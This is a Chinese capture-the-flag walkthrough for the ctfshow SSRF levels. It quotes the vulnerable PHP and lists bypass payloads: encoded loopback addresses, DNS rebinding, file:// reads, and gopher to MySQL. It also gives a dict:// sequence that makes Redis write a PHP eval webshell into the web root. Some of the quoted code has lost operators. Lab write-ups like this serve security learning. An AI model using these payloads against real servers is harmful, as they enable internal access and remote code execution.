ctfshow-web入门-SSRF

SSRF学习 https://hackmd.io/@Lhaihai/H1B8PJ9hX

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

访问flag.php显示限制本地

url=http://127.0.0.1/flag.php

可以利用file协议 payload

url=file:///var/www/html/flag.php

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'$x['scheme']==='https'){
if(!preg_match('/localhost127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

parse_url函数 file

scheme - 如 http
host
port
user
pass
path
query - 在问号 ? 之后
fragment - 在散列符号 # 之后

绕过ip限制

各种IP地址的进制转换
例如:192.168.0.1
(1)、8进制格式:0300.0250.0.1

(2)、16进制格式:0xC0.0xA8.0.1

(3)、10进制整数格式:3232235521

(4)、16进制整数格式:0xC0A80001

(5)、特殊写法(0可省略,在linux中127.0.0.1可以写成0.0.0.0)

http://0/

http://127.1/

利用ipv6绕过,http://[::1]/

 http://127.0.0.1./

payload

url=http://127.1/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://spoofed.burpcollaborator.net/flag.php
(http://spoofed.burpcollaborator.net我们可以使用此主机,它将指向127.0.0.1/ localhost)
url=http://127.127.127.127/flag.php
url=http://0177.0.0.1/flag.php
url=http://2130706433/flag.php

我使用此工具 https://www.browserling.com/tools/ip-to-dec 将IP地址转换为小数。

http://target.url/home.php?pageid=http://127.0.0.1
to
http://target.url/home.php?pageid=http://2130706433

web353

上边几个payload都可以用

url=http://127.1/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://spoofed.burpcollaborator.net/flag.php
(http://spoofed.burpcollaborator.net我们可以使用此主机,它将指向127.0.0.1/ localhost)
url=http://127.127.127.127/flag.php
url=http://0177.0.0.1/flag.php
url=http://2130706433/flag.php
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'$x['scheme']==='https'){
if(!preg_match('/localhost10。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

把0和1 ban了 使用dns重绑定 http://sudo.cc/ 这个网址是直接指定到127.0.0.1的

url=http://sudo.cc/flag.php

网址可以设置域名指向两个ip file

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

host长度要小于5 在上班的payload挑一个

web356

0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE  FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}

echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

不允许本地IP了 在自己的vps上写个跳转

<?php
header("Location:http://127.0.0.1/flag.php");

利用DNS重绑定 http://ceye.io注册个账号 然后会给一个域名 然后添加两个dns file 可能要等会才有回显 然后就

url=http://r.xxxx.ceye.io/flag.php

或者用这个网站 https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

file 会将@后边的解析为host 要求一http://ctf.开始 以show结尾

POST:url=http://ctf.@127.0.0.1/flag.php?show
POST:url=http://ctf.@127.0.0.1/flag.php#show

web359

原理 https://hackmd.io/@Lhaihai/H1B8PJ9hX 使用工具构造gopher https://github.com/tarunkant/Gopherus file 写入shell 127.0.0.1:3306/_后边需要再进行一次url编码

web360

https://xz.aliyun.com/t/5665 https://blog.csdn.net/rfrder/article/details/113853929 手动打一下

查看端口是否打开
url=dict://127.0.0.1:6379

设置dir (:代替空格)
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

使用十六进制写马
url=dict://127.0.0.1:6379/config:set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x31\x5d\x3b\x29\x3f\x3e"

写文件
url=dict://127.0.0.1:6379/config:set:dbfilename:1.php
保存
url=dict://127.0.0.1:6379/save

用工具打 file

payload和之前一样加上url编码


ctfshow-web入门-SSRF
http://example.com/2021/08/04/OldBlog/ctfshow-web入门ssrf/
作者
Autumn
发布于
2021年8月4日
许可协议